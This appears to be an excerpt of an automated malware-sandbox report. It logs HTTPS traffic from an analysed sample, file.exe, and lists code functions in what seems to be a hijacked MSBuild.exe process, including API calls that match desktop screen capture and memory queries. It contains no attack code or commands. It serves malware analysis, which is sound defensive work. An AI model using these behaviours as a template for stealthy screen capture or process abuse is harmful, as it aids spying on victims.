Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49864 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00411F55 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

1_2_00411F55

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040145B GetCurrentProcess,NtQueryInformationProcess,	1_2_0040145B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C38ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	1_2_6C38ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3CB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C3CB700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3CB8C0 rand_s,NtQueryVirtualMemory,	1_2_6C3CB8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3CB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	1_2_6C3CB910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C36F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C36F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A81FE0	0_2_00A81FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9D0ED	0_2_00A9D0ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD91C3	0_2_00AD91C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ACD377	0_2_00ACD377
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC54FD	0_2_00AC54FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC8465	0_2_00AC8465
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9547C	0_2_00A9547C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD9561	0_2_00AD9561
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC7705	0_2_00AC7705
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9B888	0_2_00A9B888
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A8C842	0_2_00A8C842
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A939E2	0_2_00A939E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD9933	0_2_00AD9933
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A8FC40	0_2_00A8FC40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD8D2E	0_2_00AD8D2E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD9D1B	0_2_00AD9D1B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A81D65	0_2_00A81D65
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A86FEC	0_2_00A86FEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041C585	1_2_0041C585
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041B825	1_2_0041B825
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042DA53	1_2_0042DA53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042D2E3	1_2_0042D2E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042CE4E	1_2_0042CE4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041961D	1_2_0041961D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042DE3B	1_2_0042DE3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042D681	1_2_0042D681
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3635A0	1_2_6C3635A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3D542B	1_2_6C3D542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3A5C10	1_2_6C3A5C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3B2C10	1_2_6C3B2C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3DAC00	1_2_6C3DAC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3D545C	1_2_6C3D545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C375440	1_2_6C375440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3C34A0	1_2_6C3C34A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3CC4A0	1_2_6C3CC4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C376C80	1_2_6C376C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3A6CF0	1_2_6C3A6CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C36D4E0	1_2_6C36D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C38D4D0	1_2_6C38D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3764C0	1_2_6C3764C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C38ED10	1_2_6C38ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C390512	1_2_6C390512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C37FD00	1_2_6C37FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3C85F0	1_2_6C3C85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3A0DD0	1_2_6C3A0DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3C9E30	1_2_6C3C9E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3A7E10	1_2_6C3A7E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3B5600	1_2_6C3B5600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C36C670	1_2_6C36C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3D6E63	1_2_6C3D6E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C389E50	1_2_6C389E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3A3E50	1_2_6C3A3E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3B2E4E	1_2_6C3B2E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C384640	1_2_6C384640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3C4EA0	1_2_6C3C4EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C385E90	1_2_6C385E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3CE680	1_2_6C3CE680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C36BEF0	1_2_6C36BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C37FEF0	1_2_6C37FEF0
